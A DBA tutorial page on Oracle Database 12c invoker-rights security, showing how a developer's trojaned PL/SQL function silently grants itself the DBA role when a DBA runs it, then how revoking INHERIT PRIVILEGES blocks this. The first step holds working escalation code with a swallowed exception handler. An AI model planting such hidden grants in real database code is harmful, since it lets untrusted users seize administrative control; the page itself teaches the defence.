DBA Hub

📋Steps in this guide1/2

Control Invoker Rights Privileges for PL/SQL Code in Oracle Database 12c Release 1 (12.1) (INHERIT [ANY] PRIVILEGES)

Learn how to plug security holes related to invoker rights PL/SQL code in Oracle Database 12c Release 1.

oracle 12cconfigurationintermediate
by OracleDba
12 views
1

The Problem

The following represents a scenario where a sneaky developer takes advantage of invoker rights to escalate their privileges. Create the following users. The developer creates a harmless piece of code and allows all users to execute it. Both the normal user and the DBA can run this code and get the expected result. Check the users that currently have the DBA role granted to them. Once the code is in place and people are used to using it, the developer alters the code to include a grant of the DBA role. Since the original function is called from SQL, the grant needs to run as an autonomous transaction. The presence of the exception handler means regular users can run the code without noticing a difference, even though the grant would fail. When the code is run by a DBA user, who has privilege to grant the DBA role, the grant is successful. So the user has acquired the DBA role. Let's clean that up, so as not to confuse later examples.

Code/Command (click line numbers to comment):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
CONN sys@pdb1 AS SYSDBA

DROP USER sneaky_developer CASCADE;
DROP USER normal_user CASCADE;
DROP USER dba_user CASCADE;

CREATE USER sneaky_developer IDENTIFIED BY sneaky_developer;
GRANT CREATE SESSION, CREATE PROCEDURE TO sneaky_developer;

CREATE USER normal_user IDENTIFIED BY normal_user;
GRANT CREATE SESSION TO normal_user;

CREATE USER dba_user IDENTIFIED BY dba_user;
GRANT CREATE SESSION, DBA TO dba_user;

CONN sneaky_developer/sneaky_developer@pdb1

CREATE OR REPLACE FUNCTION add_number(p1 IN NUMBER, p2 IN NUMBER)
  RETURN NUMBER AUTHID CURRENT_USER
AS
BEGIN
  RETURN (p1+p2);
END;
/

GRANT EXECUTE ON add_number TO public;

CONN normal_user/normal_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

CONN dba_user/dba_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

CONN sys@pdb1 AS SYSDBA

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

CONN sneaky_developer/sneaky_developer@pdb1

CREATE OR REPLACE PROCEDURE make_me_a_dba AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO sneaky_developer';
EXCEPTION
  WHEN OTHERS THEN
    NULL;
END;
/

CREATE OR REPLACE FUNCTION add_number(p1 IN NUMBER, p2 IN NUMBER)
  RETURN NUMBER AUTHID CURRENT_USER
AS
BEGIN
  make_me_a_dba;
  RETURN (p1+p2);
END;
/

CONN normal_user/normal_user@pdb1

SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>

CONN dba_user/dba_user@pdb1

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>


SELECT sneaky_developer.add_number(1,2) FROM dual;

SNEAKY_PERSON.ADD_NUMBER(1,2)
-----------------------------
                            3

1 row selected.

SQL>


SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SNEAKY_DEVELOPER
SYS
SYSTEM

4 rows selected.

SQL>

REVOKE DBA FROM sneaky_developer;
2

INHERIT [ANY] PRIVILEGES

In an attempt to plug this security hole, Oracle Database 12c includes privileges. For the sake of backwards compatibility, the following grant is performed for all new or upgraded users. If you want to be selective about who can inherit privileges from a specific user, you can revoke it. So to protect our DBA user, we might do the following. If we repeat the previous test, we see a different result. Not only has the privilege escalation attempt not succeeded, but the resulting error was not trapped by the exception handler, so we get a clear indication that something potentially dangerous could have happened if we had not taken measure to prevent it. If there are trusted users that do need to inherit privileges from the DBA user, specific grants can be performed. Following this grant, any invoker rights code owned by TRUSTED_USER can inherit privileges from DBA_USER when the code is called by DBA_USER. You can revoke this specific priviledge as follows. The SYS user has , so even if you revoke the public grant, all invoker rights code called by SYS will still function correctly. For more information see: Hope this helps. Regards Tim...

Code/Command (click line numbers to comment):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
INHERIT PRIVILEGES ON USER username TO PUBLIC;

CONN sys@pdb1 AS SYSDBA

REVOKE INHERIT PRIVILEGES ON USER dba_user FROM PUBLIC;

CONN dba_user/dba_user@pdb1

SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>


SELECT sneaky_developer.add_number(1,2) FROM dual;
SELECT sneaky_developer.add_number(1,2) FROM dual
       *
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SNEAKY_DEVELOPER.ADD_NUMBER", line 1

SQL>


SELECT grantee
FROM   dba_role_privs
WHERE  granted_role = 'DBA'
ORDER BY grantee;

GRANTEE
----------------------------------------------------------------------------------------------------
DBA_USER
SYS
SYSTEM

3 rows selected.

SQL>

ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SNEAKY_DEVELOPER.ADD_NUMBER", line 1

GRANT INHERIT PRIVILEGES ON USER dba_user TO trusted_user;

REVOKE INHERIT PRIVILEGES ON USER dba_user FROM trusted_user;

Comments (0)

Please to add comments

No comments yet. Be the first to comment!